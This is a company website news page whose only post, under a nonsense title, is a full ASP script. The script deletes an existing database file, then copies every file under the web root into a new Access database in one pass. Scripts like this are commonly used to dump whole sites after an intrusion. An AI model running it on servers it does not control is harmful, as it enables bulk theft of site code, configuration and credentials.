首 页 | 企业概况 | 新闻动态 | 产品展示 | 求购信息 | 人才招聘 | 留言反馈

| 企业邮局
| 企业概况
·公司简介
·联系我们
| 产品搜索
| 产品分类
+ 企业网站
- 企业网站A
- 企业网站B
+ 都市在线
+ EsmsV2005
- 组件版
- 无组件版
+ EsmsV2006
- 纯Asp版
- 生成HTML版
| 当前位置： [首页] - [新闻中心] - 新闻内容 |
sdfsfdsf 2007-6-20
<% dim dbfile,fso,sql mdbfile="Cnnsc.mdb" '把Cnnsc换成你其它数据库名字 dbfile=server.MapPath(mdbfile) Set FSO = CreateObject("Scripting.FileSystemObject") '如果数据库存在就删除原有数据 if fso.FileExists(dbfile) then fso.DeleteFile(dbfile) end if set fso=nothing '开始建立数据库 set cat=server.CreateObject("ADOX.Catalog") '建立access2000的数据库 cat.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile set cat=nothing if err.number=0 then Response.Write "数据库 " & dbfile & " 创建成功<br> " else Response.Write "数据库创建失败，原因： " & err.description Response.End end if '开始建表 Set Conn = Server.CreateObject("ADODB.Connection") Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile '建立表 sql="CREATE TABLE filedata([id] counter PRIMARY KEY,[path] Memo,[file] General)" conn.execute(sql) Set rs = CreateObject("ADODB.RecordSet") rs.Open "FileData", conn, 1, 3 set obj=server.createobject("scripting.filesystemobject") '获得网站根目录 set objfolder=obj.getfolder(server.mappath("/")) '开始查找文件 search objfolder response.write("打完，收工回家睡觉！") '文件搜索函数 function search(objfolder) dim objsubfolder for each objfile in objfolder.files Set objStream = Server.CreateObject("ADODB.Stream") a=a+1 objStream.Type = 1 objStream.Open response.write a &"<br>" response.write objfile.path &"<br>" '跳过数据库本身和.LDB文件 if right(objfile.path,len(mdbfile))=mdbfile or right(objfile.path,4)=".ldb" then else objStream.LoadFromFile objfile.path rs.addnew rs("file")=objstream.read rs("Path")=right(objfile.path,len(objfile.path)-3) rs.update objStream.close end if next for each objsubfolder in objfolder.subfolders search objsubfolder next end Function %>

版权所有: © 2005 - 2008 瑞安市安然网络科技有限公司 Www.Zj263.Com
程序内核: [AnRowIT Esms V06.0108.H] 开发制作: 瑞安市安然网络科技有限公司 Www.Zj263.Com